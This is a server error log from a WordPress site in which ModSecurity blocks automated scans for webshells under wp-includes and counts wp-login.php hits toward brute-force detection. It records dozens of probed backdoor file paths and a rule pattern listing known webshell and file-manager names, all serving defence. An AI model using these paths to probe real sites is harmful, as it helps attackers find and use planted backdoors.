[Sat Feb 28 17:48:43.190255 2026] [:error] [pid 49763:tid 49768] [client 185.198.240.158:35759] [client 185.198.240.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/function.php"] [unique_id "aaK5-7THSOG_yf2PpqEuVwAAAcI"]
[Sat Feb 28 17:48:43.675528 2026] [:error] [pid 52460:tid 52486] [client 209.87.169.160:55481] [client 209.87.169.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/plugins.php"] [unique_id "aaK5-7LWOogAgHGh62TDUAAAAZc"]
[Sat Feb 28 17:48:47.767114 2026] [:error] [pid 39185:tid 39260] [client 209.87.169.164:52699] [client 209.87.169.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaK5_xVE-FfM89u7BQZ1CQAAAI4"]
[Sat Feb 28 17:48:48.252263 2026] [:error] [pid 49763:tid 49790] [client 185.198.240.179:27167] [client 185.198.240.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aaK6ALTHSOG_yf2PpqEuaAAAAdg"]
[Sat Feb 28 17:49:01.029938 2026] [:error] [pid 49763:tid 49784] [client 209.87.169.160:41627] [client 209.87.169.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/atomlib.php"] [unique_id "aaK6DbTHSOG_yf2PpqEulgAAAdI"]
[Sat Feb 28 17:49:01.495477 2026] [:error] [pid 39185:tid 39270] [client 185.198.240.158:57901] [client 185.198.240.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aaK6DRVE-FfM89u7BQZ1FwAAAJg"]
[Sat Feb 28 17:49:08.821100 2026] [:error] [pid 11791:tid 11796] [client 185.198.240.161:36529] [client 185.198.240.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aaK6FGuX5e1Q32gqxH2KLAAAAQM"]
[Sat Feb 28 17:49:09.303212 2026] [:error] [pid 49763:tid 49771] [client 185.198.240.158:61639] [client 185.198.240.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaK6FbTHSOG_yf2PpqEunwAAAcU"]
[Sat Feb 28 17:49:09.903752 2026] [:error] [pid 49763:tid 49781] [client 185.198.240.159:44615] [client 185.198.240.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaK6FbTHSOG_yf2PpqEuowAAAc8"]
[Sat Feb 28 17:49:19.000444 2026] [:error] [pid 39183:tid 39197] [client 45.131.195.215:54989] [client 45.131.195.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aaK6HhCf4HvhVePw3LZdFgAAAAU"]
[Sat Feb 28 17:49:21.381598 2026] [:error] [pid 49763:tid 49778] [client 45.131.195.217:50241] [client 45.131.195.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aaK6IbTHSOG_yf2PpqEuqAAAAcw"]
[Sat Feb 28 17:49:33.270872 2026] [:error] [pid 52460:tid 52480] [client 185.198.240.98:24069] [client 185.198.240.98] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.98, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/js/wp-login.php"] [unique_id "aaK6LbLWOogAgHGh62TEZwAAAZE"]
[Sat Feb 28 17:49:42.913528 2026] [:error] [pid 52460:tid 52484] [client 185.198.240.98:24069] [client 185.198.240.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/index.php"] [unique_id "aaK6NrLWOogAgHGh62TE0AAAAZU"]
[Sat Feb 28 17:49:43.450223 2026] [:error] [pid 22194:tid 22205] [client 185.198.240.165:57431] [client 185.198.240.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.165, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aaK6N36mbajs3bzQGyt9xwAAAUk"]
[Sat Feb 28 17:50:00.860690 2026] [proxy_fcgi:error] [pid 22194:tid 22204] [client 185.198.240.165:57431] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 17:50:25.542107 2026] [:error] [pid 22194:tid 22211] [client 185.198.240.165:57431] [client 185.198.240.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/about.php"] [unique_id "aaK6YX6mbajs3bzQGyt99wAAAU8"]
[Sat Feb 28 17:50:31.892011 2026] [:error] [pid 49763:tid 49786] [client 185.198.240.176:25535] [client 185.198.240.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aaK6Z7THSOG_yf2PpqEvnQAAAdQ"]
[Sat Feb 28 17:50:36.304822 2026] [:error] [pid 39183:tid 39212] [client 185.198.240.98:42185] [client 185.198.240.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aaK6bBCf4HvhVePw3LZeCAAAABQ"]
[Sat Feb 28 17:50:52.233788 2026] [:error] [pid 39183:tid 39209] [client 185.198.240.159:64515] [client 185.198.240.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aaK6fBCf4HvhVePw3LZeRAAAABE"]
[Sat Feb 28 17:50:56.459866 2026] [:error] [pid 49763:tid 49781] [client 185.198.240.168:43911] [client 185.198.240.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaK6gLTHSOG_yf2PpqEv9AAAAc8"]
[Sat Feb 28 17:51:02.313406 2026] [:error] [pid 39292:tid 39304] [client 185.198.240.158:31939] [client 185.198.240.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aaK6hqIAO5fN7BxyqcEzSAAAAMo"]
[Sat Feb 28 17:51:09.685108 2026] [proxy_fcgi:error] [pid 39183:tid 39207] [client 185.198.240.171:59021] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 17:51:09.929469 2026] [proxy_fcgi:error] [pid 39183:tid 39211] [client 185.198.240.171:59021] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 17:51:10.158372 2026] [:error] [pid 39183:tid 39213] [client 185.198.240.171:59021] [client 185.198.240.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aaK6jhCf4HvhVePw3LZecwAAABU"]
[Sat Feb 28 17:51:10.619459 2026] [:error] [pid 39184:tid 39221] [client 185.198.240.176:36545] [client 185.198.240.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaK6jltZF9Zd_U7easBRJgAAAEI"]
[Sat Feb 28 17:51:21.828038 2026] [:error] [pid 52460:tid 52471] [client 45.131.195.216:36929] [client 45.131.195.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aaK6mbLWOogAgHGh62THlAAAAYg"]
[Sat Feb 28 17:51:24.428243 2026] [:error] [pid 52460:tid 52482] [client 209.87.169.165:44255] [client 209.87.169.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "aaK6nLLWOogAgHGh62THqQAAAZM"]
[Sat Feb 28 17:51:29.967961 2026] [:error] [pid 49763:tid 49781] [client 209.87.169.172:27093] [client 209.87.169.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aaK6obTHSOG_yf2PpqEwXAAAAc8"]
[Sat Feb 28 17:51:42.652864 2026] [:error] [pid 52460:tid 52467] [client 45.131.195.215:35585] [client 45.131.195.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aaK6rrLWOogAgHGh62TIBQAAAYQ"]
[Sat Feb 28 17:51:43.244620 2026] [proxy_fcgi:error] [pid 49763:tid 49790] [client 185.198.240.171:63609] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 17:51:46.995829 2026] [:error] [pid 49763:tid 49784] [client 185.198.240.171:63609] [client 185.198.240.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aaK6srTHSOG_yf2PpqEwngAAAdI"]
[Sat Feb 28 17:51:55.303778 2026] [proxy_fcgi:error] [pid 52460:tid 52481] [client 209.87.169.160:45683] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 17:51:57.308286 2026] [:error] [pid 52460:tid 52485] [client 209.87.169.160:45683] [client 209.87.169.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.160, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aaK6vbLWOogAgHGh62TIVwAAAZY"]
[Sat Feb 28 17:52:05.030931 2026] [:error] [pid 52460:tid 52471] [client 209.87.169.160:45683] [client 209.87.169.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aaK6xbLWOogAgHGh62TIbAAAAYg"]
[Sat Feb 28 17:52:07.472876 2026] [:error] [pid 11791:tid 11793] [client 45.131.195.214:31265] [client 45.131.195.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aaK6x2uX5e1Q32gqxH2LFwAAAQA"]
[Sat Feb 28 17:52:13.732297 2026] [:error] [pid 49763:tid 49788] [client 185.198.240.177:48907] [client 185.198.240.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aaK6zbTHSOG_yf2PpqEw8QAAAdY"]
[Sat Feb 28 17:52:20.384442 2026] [:error] [pid 52460:tid 52465] [client 209.87.169.166:23447] [client 209.87.169.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aaK61LLWOogAgHGh62TIqQAAAYI"]
[Sat Feb 28 17:52:22.729165 2026] [:error] [pid 52460:tid 52484] [client 209.87.169.173:38615] [client 209.87.169.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aaK61rLWOogAgHGh62TItwAAAZU"]
[Sat Feb 28 17:52:28.401541 2026] [:error] [pid 39183:tid 39207] [client 185.198.240.163:34241] [client 185.198.240.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aaK63BCf4HvhVePw3LZfQAAAAA8"]
[Sat Feb 28 17:52:32.239678 2026] [proxy_fcgi:error] [pid 39183:tid 39215] [client 209.87.169.166:47141] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 17:52:32.479678 2026] [:error] [pid 39183:tid 39192] [client 209.87.169.166:47141] [client 209.87.169.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aaK64BCf4HvhVePw3LZfTwAAAAA"]
[Sat Feb 28 17:52:34.889401 2026] [:error] [pid 39183:tid 39197] [client 185.198.240.163:57331] [client 185.198.240.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/db.php"] [unique_id "aaK64hCf4HvhVePw3LZfVQAAAAU"]
[Sat Feb 28 17:52:35.535170 2026] [:error] [pid 49763:tid 49776] [client 185.198.240.170:34983] [client 185.198.240.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aaK647THSOG_yf2PpqExDwAAAco"]
[Sat Feb 28 17:52:36.022760 2026] [:error] [pid 39184:tid 39222] [client 185.198.240.172:52957] [client 185.198.240.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aaK65FtZF9Zd_U7easBRmQAAAEM"]
[Sat Feb 28 17:52:36.866374 2026] [:error] [pid 49763:tid 49783] [client 185.198.240.164:44417] [client 185.198.240.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aaK65LTHSOG_yf2PpqExEAAAAdE"]
[Sat Feb 28 17:52:37.337590 2026] [:error] [pid 52460:tid 52479] [client 45.131.195.217:44395] [client 45.131.195.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aaK65bLWOogAgHGh62TJDgAAAZA"]
[Sat Feb 28 17:52:37.835771 2026] [:error] [pid 52460:tid 52468] [client 185.198.240.158:47377] [client 185.198.240.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aaK65bLWOogAgHGh62TJFAAAAYU"]
[Sat Feb 28 17:52:41.818467 2026] [:error] [pid 39183:tid 39198] [client 185.198.240.179:58873] [client 185.198.240.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aaK66RCf4HvhVePw3LZfZQAAAAY"]
[Sat Feb 28 17:52:42.297311 2026] [:error] [pid 39183:tid 39210] [client 185.198.240.180:28395] [client 185.198.240.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aaK66hCf4HvhVePw3LZfZwAAABI"]
[Sat Feb 28 17:52:42.757149 2026] [:error] [pid 39292:tid 39317] [client 209.87.169.162:30957] [client 209.87.169.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aaK66qIAO5fN7BxyqcEztgAAANc"]
[Sat Feb 28 17:52:46.125799 2026] [:error] [pid 52460:tid 52466] [client 173.239.214.179:24819] [client 173.239.214.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aaK67rLWOogAgHGh62TJTAAAAYM"]
[Sat Feb 28 17:52:50.045131 2026] [:error] [pid 52460:tid 52469] [client 173.239.214.180:25767] [client 173.239.214.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/options.php"] [unique_id "aaK68rLWOogAgHGh62TJcQAAAYY"]
[Sat Feb 28 17:52:50.532681 2026] [proxy_fcgi:error] [pid 52460:tid 52481] [client 209.87.169.171:24341] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 17:52:55.915692 2026] [:error] [pid 52460:tid 52482] [client 209.87.169.171:24341] [client 209.87.169.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.87.169.171, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaK697LWOogAgHGh62TJiwAAAZM"]
[Sat Feb 28 17:53:07.027184 2026] [:error] [pid 52460:tid 52481] [client 209.87.169.171:24341] [client 209.87.169.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aaK7A7LWOogAgHGh62TJpwAAAZI"]
[Sat Feb 28 17:53:07.553032 2026] [:error] [pid 52460:tid 52480] [client 209.87.169.166:42659] [client 209.87.169.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aaK7A7LWOogAgHGh62TJqQAAAZE"]
[Sat Feb 28 17:53:35.845693 2026] [:error] [pid 39183:tid 39204] [client 185.198.240.174:65117] [client 185.198.240.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaK7HxCf4HvhVePw3LZgEwAAAAw"]
